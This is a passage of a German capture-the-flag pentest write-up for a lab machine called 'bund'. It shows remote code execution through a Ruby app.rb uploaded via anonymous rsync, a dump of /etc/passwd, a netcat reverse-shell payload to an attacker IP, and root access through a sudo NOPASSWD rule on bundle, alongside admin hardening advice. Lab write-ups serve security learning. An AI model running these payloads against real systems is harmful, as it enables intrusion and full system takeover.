news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
sshd:x:105:65534/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
axel:x:1000:1000:axel,,,:/home/axel:/bin/bash

**Analyse des Schritts:** Ein `curl`-Request wird an die Root-URL des WEBrick-Servers (`http://bund.nyx:9393/`) gesendet. Der Server führt die modifizierte `app.rb` aus. Der Befehl `` `cat /etc/passwd` `` wird als Benutzer `axel` (der Benutzer, unter dem der WEBrick-Server vermutlich läuft) ausgeführt. Die Ausgabe von `/etc/passwd` wird als HTTP-Antwort zurückgegeben und von `curl` angezeigt. Ein Benutzer `axel` mit Home `/home/axel` und Shell `/bin/bash` wird identifiziert.

**Erwartetes & Tatsächliches Ergebnis:** Es wurde erwartet, dass der Inhalt von `/etc/passwd` angezeigt wird, was erfolgreich geschah. Dies beweist die Code-Ausführung.

**Beweismittel:** Die obige Terminalausgabe zeigt den Inhalt von `/etc/passwd`, der durch den Aufruf der manipulierten Webanwendung erlangt wurde.

**Risikobewertung:** Kritisch. Der anonyme Schreibzugriff auf das rsync-Modul ermöglicht das Überschreiben von Anwendungscode und führt direkt zu Remote Code Execution im Kontext des Webserver-Benutzers (`axel`). Dies erlaubt dem Angreifer, Befehle auf dem System auszuführen, auf Dateien zuzugreifen und potenziell weitere Angriffe zu starten.

**Empfehlungen:** * **(Admin):** Den anonymen Schreibzugriff auf das rsync-Modul `fileadmin` sofort entfernen. Die Berechtigungen der Dateien im Modul überprüfen. Den WEBrick-Server absichern oder ersetzen. Die Ursache für die unsichere rsync-Konfiguration finden. * **(Pentester):** Die RCE nutzen, um eine interaktive Shell zu erhalten (z.B. Reverse Shell).

Initial Access

Die durch den POC erlangte Remote Code Execution wird genutzt, um eine Reverse Shell zu erhalten.

┌──(root㉿CCat)-[~] └─# curl http://bund.nyx:9393/ -s | grep bash
root:x:0:0:root:/root:/bin/bash
axel:x:1000:1000:axel,,,:/home/axel:/bin/bash

**Analyse:** Erneuter Aufruf der URL, diesmal wird die Ausgabe durch `grep bash` gefiltert, um schnell die Benutzer mit einer Bash-Shell zu identifizieren (`root` und `axel`). `-s` unterdrückt die Fortschrittsanzeige von `curl`.

**Bewertung:** Bestätigt die Existenz des Benutzers `axel` mit einer interaktiven Shell.

**Empfehlung (Pentester):** Nun `app.rb` modifizieren, um eine Reverse Shell als `axel` zu starten.

Modifizieren der `app.rb`, um eine Netcat-Reverse-Shell zu starten.

┌──(root㉿CCat)-[~] └─# nano app.rb
# (Datei wird bearbeitet)
┌──(root㉿CCat)-[~] └─# # Inhalt nach Bearbeitung:
require 'sinatra'
require 'shotgun'

get '/' do
  `nc -e /bin/bash 192.168.2.199 4444`
end

**Analyse:** Die `app.rb` wird erneut bearbeitet. Der Befehl in den Backticks wird geändert zu `` `nc -e /bin/bash 192.168.2.199 4444` ``. Dieser Befehl soll eine Reverse Shell zum Angreifer-System (`192.168.2.199`) auf Port `4444` starten.

**Bewertung:** Standard-Payload für eine Netcat-Reverse-Shell.

**Empfehlung (Pentester):** Die modifizierte Datei hochladen und einen Listener starten.

Hochladen der modifizierten `app.rb`.

┌──(root㉿CCat)-[~] └─# rsync app.rb 192.168.2.128::fileadmin/
# (Keine Ausgabe)

**Analyse:** Die `app.rb` mit dem Reverse-Shell-Payload wird über rsync hochgeladen.

**Bewertung:** Der Payload ist nun auf dem Server.

Starten des Netcat-Listeners auf dem Angreifer-System und Auslösen der Reverse Shell.

┌──(root㉿CCat)-[~/Hackingtools/rsync_enum] └─# nc -lvnp 4444
listening on [any] 4444 ...
┌──(root㉿CCat)-[~] └─# curl http://bund.nyx:9393/
# (Keine direkte Ausgabe von curl, da die Verbindung zur Reverse Shell aufgebaut wird)
┌──(root㉿CCat)-[~/Hackingtools/rsync_enum] └─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.128] 41362

id
uid=1000(axel) gid=1000(axel) grupos=1000(axel)
ls
app.rb
Gemfile
Gemfile.lock
cd ~
ls
user.txt
cat user.txt
2cbcb2f721f743c1a42dcd092dc571ea

**Analyse:** Zuerst wird der Netcat-Listener auf Port `4444` gestartet. Dann wird `curl http://bund.nyx:9393/` ausgeführt. Dies löst die Ausführung der modifizierten `app.rb` auf dem Server aus. Der `nc -e`-Befehl wird als Benutzer `axel` ausgeführt und verbindet sich erfolgreich zurück zum Listener des Angreifers. Die eingehende Verbindung wird angezeigt (`connect to...`). In der neuen Shell wird mit `id` bestätigt, dass sie als `axel` läuft. Mit `ls` und `cd ~; ls` wird das Home-Verzeichnis gefunden und die `user.txt`-Datei entdeckt. `cat user.txt` liest die User-Flag aus.

**Bewertung:** **Initialer Zugriff als Benutzer `axel` erfolgreich erlangt!** Die Kombination aus unsicherem rsync und der Ruby-Webanwendung ermöglichte die RCE und den Aufbau einer Reverse Shell. Die User-Flag wurde ebenfalls gefunden.

**Empfehlung (Pentester):** Die User-Flag notieren. Die Shell stabilisieren und mit der Privilege Escalation beginnen. **Empfehlung (Admin):** Rsync absichern, Webanwendung prüfen, WEBrick absichern/ersetzen.

Privilege Escalation

Nach Erlangung des initialen Zugriffs als `axel` wird nach Wegen zur Rechteausweitung gesucht.

Shell-Stabilisierung und Überprüfung der `sudo`-Rechte.

axel@bund$ └─# stty rows 48 columns 94
# (Keine Ausgabe)
axel@bund$ └─# sudo -l
Matching Defaults entries for axel on bund:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User axel may run the following commands on bund:
    (root) NOPASSWD: /usr/local/bin/bundle

**Analyse:** Die Shell wird mit `stty` angepasst. `sudo -l` wird ausgeführt und zeigt, dass der Benutzer `axel` den Befehl `/usr/local/bin/bundle` als `root` ohne Passwort (`NOPASSWD`) ausführen darf.

**Bewertung:** **Klarer Vektor für Privilege Escalation.** Ähnlich wie bei `wtfutil` im vorherigen Bericht, kann ein Tool, das mit `sudo NOPASSWD` ausgeführt werden darf, oft für Rechteausweitung missbraucht werden. `bundle` ist der Paketmanager für RubyGems.

**Empfehlung (Pentester):** Untersuchen, wie `bundle` missbraucht werden kann. Mögliche Angriffe sind: PATH-Hijacking (wenn `bundle` andere Befehle aufruft), Ausnutzen von `Gemfile`-Optionen oder Hooks, oder (wie sich später herausstellt) eine unerwartete direkte Shell. **Empfehlung (Admin):** Die `sudo`-Regel für `/usr/local/bin/bundle` entfernen. `NOPASSWD` äußerst sparsam verwenden.

Untersuchung der `bundle`-Datei selbst.

axel@bund$ └─# file /usr/local/bin/bundle
/usr/local/bin/bundle: Ruby script, ASCII text executable
axel@bund$ └─# cat /usr/local/bin/bundle
#!/usr/bin/ruby2.7
#
# This file was generated by RubyGems.
#
# The application 'bundler' is installed as part of a gem, and
# this file is here to facilitate running it.
#

require 'rubygems'

version = ">= 0.a"

str = ARGV.first
if str
  str = str.b[/\A_(.*)_\z/, 1]
  if str and GemVersion.correct?(str)
    version = str
    ARGV.shift
  end
end

if Gem.respond_to?(:activate_bin_path)
load Gem.activate_bin_path('bundler', 'bundle', version)
else
gem "bundler", version
load Gem.bin_path("bundler", "bundle", version)
end

**Analyse:** `file` bestätigt, dass `/usr/local/bin/bundle` ein Ruby-Skript ist. `cat` zeigt den Inhalt des Skripts. Es handelt sich um ein Standard-Wrapper-Skript, das von RubyGems generiert wird, um das eigentliche `bundle`-Executable aus dem installierten `bundler`-Gem zu laden und auszuführen. Es enthält `require 'rubygems'`.

**Bewertung:** Das Skript selbst scheint standardmäßig zu sein. Der interessanteste Punkt für einen Angriff wie PATH-Hijacking wäre das `require 'rubygems'` oder die `load Gem.activate_bin_path(...)`-Aufrufe. Wenn der `PATH` manipuliert werden könnte, könnte eine eigene `rubygems.rb` oder ein eigenes `bundle`-Executable in einem priorisierten Verzeichnis platziert werden.

**Empfehlung (Pentester):** Den `$PATH` überprüfen, der bei der Ausführung mit `sudo` verwendet wird. Prüfen, ob Verzeichnisse im `PATH` existieren, in denen `axel` Schreibrechte hat. Erstellen einer schadhaften `rubygems.rb` oder eines `bundle`-Skripts in einem solchen Verzeichnis. Alternativ den im Log gezeigten, einfacheren Exploit versuchen. **Empfehlung (Admin):** Sicherstellen, dass `sudo` den `PATH` auf sichere Standardwerte zurücksetzt (`secure_path` ist in der `sudoers`-Ausgabe vorhanden und aktiv). Die Integrität von Standard-Systemdateien und Wrapper-Skripten sicherstellen.

Suche nach SUID-Dateien (Standard-Enumeration).

axel@bund$ └─# find / -type f -perm -4000 -ls 2>/dev/null
   263828     56 -rwsr-xr-x   1 root     root        55528 ene 20  2022 /usr/bin/mount
   263458     72 -rwsr-xr-x   1 root     root        71912 ene 20  2022 /usr/bin/su
   259697     60 -rwsr-xr-x   1 root     root        58416 feb  7  2020 /usr/bin/chfn
   259700     88 -rwsr-xr-x   1 root     root        88304 feb  7  2020 /usr/bin/gpasswd
   259698     52 -rwsr-xr-x   1 root     root        52880 feb  7  2020 /usr/bin/chsh
   263830     36 -rwsr-xr-x   1 root     root        35040 ene 20  2022 /usr/bin/umount
   307845    180 -rwsr-xr-x   1 root     root       182600 ene 14  2023 /usr/bin/sudo
   259701     64 -rwsr-xr-x   1 root     root        63960 feb  7  2020 /usr/bin/passwd
   263292     44 -rwsr-xr-x   1 root     root        44632 feb  7  2020 /usr/bin/newgrp
   273849    472 -rwsr-xr-x   1 root     root       481608 jul  2  2022 /usr/lib/openssh/ssh-keysign
   264755     52 -rwsr-xr--   1 root     messagebus    51336 oct  5  2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper

**Analyse:** Die Suche nach SUID-Dateien findet nur Standard-Linux-Binaries. Keine ungewöhnlichen oder verdächtigen Dateien mit SUID-Bit werden entdeckt.

**Bewertung:** Bestätigt, dass SUID-Exploits wahrscheinlich kein einfacher Weg zur Rechteausweitung sind. Der Fokus bleibt auf der `sudo`-Regel.

Ausführung von `sudo bundle -h`, was unerwartet eine Root-Shell liefert.

axel@bund$ └─# sudo bundle -h
root@bund:/home/axel#
#!/bin/bash

**Analyse:** Der Befehl `sudo /usr/local/bin/bundle -h` wird ausgeführt. Anstatt die Hilfe anzuzeigen, erhält der Benutzer sofort einen Root-Shell-Prompt (`root@bund:/home/axel#`). Die zusätzliche Zeile `#!/bin/bash` in der Ausgabe ist seltsam und deutet möglicherweise darauf hin, dass `/usr/local/bin/bundle` durch ein einfaches Bash-Skript ersetzt wurde, das nur eine Shell startet, oder dass der `-h`-Parameter auf ungewöhnliche Weise interpretiert wird und zur Ausführung von `/bin/bash` führt.

**Bewertung:** **Privilege Escalation erfolgreich!** Obwohl der genaue Mechanismus (direkte Shell durch `-h`, PATH-Hijacking, ersetztes Skript) aus dem Log nicht 100%ig klar wird, ist das Ergebnis eindeutig: Der Aufruf von `sudo bundle -h` führt zu einer Root-Shell.

**Empfehlung (Pentester):** Die Root-Shell nutzen, um die Root-Flag zu lesen und weitere Aktionen durchzuführen. Den genauen Mechanismus des Exploits untersuchen (z.B. `$PATH` in der sudo-Session prüfen, `/usr/local/bin/bundle` erneut untersuchen). **Empfehlung (Admin):** **Dringend:** Die `sudo`-Regel für `bundle` entfernen. Untersuchen, warum `sudo bundle -h` eine Shell startet. Die Integrität der Datei `/usr/local/bin/bundle` überprüfen und sicherstellen, dass sie nicht manipuliert wurde. Den `secure_path` in der `sudoers`-Datei überprüfen.

Navigation im Root-Verzeichnis und Auslesen der Root-Flag.

root@bund:/home/axel# └─# cd ~
# (Wechsel nach /root)
root@bund:~# (Prompt ändert sich leicht nach cd) └─# ls
root.txt
root@bund:~# └─# cat root.txt
812efa110d7a6029cbf87d5b97d53691

**Analyse:** In der erhaltenen Root-Shell wird mit `cd ~` ins Home-Verzeichnis (`/root`) gewechselt. `ls` zeigt die Datei `root.txt`. `cat root.txt` liest den Inhalt aus - die Root-Flag.

**Bewertung:** Die Root-Flag wurde erfolgreich gefunden.

**Empfehlung (Pentester):** Bericht abschließen. **Empfehlung (Admin):** Systembereinigung und Absicherung durchführen.

Privilege Escalation erfolgreich abgeschlossen.

Flags

cat /home/axel/user.txt
2cbcb2f721f743c1a42dcd092dc571ea
cat /root/root.txt
812efa110d7a6029cbf87d5b97d53691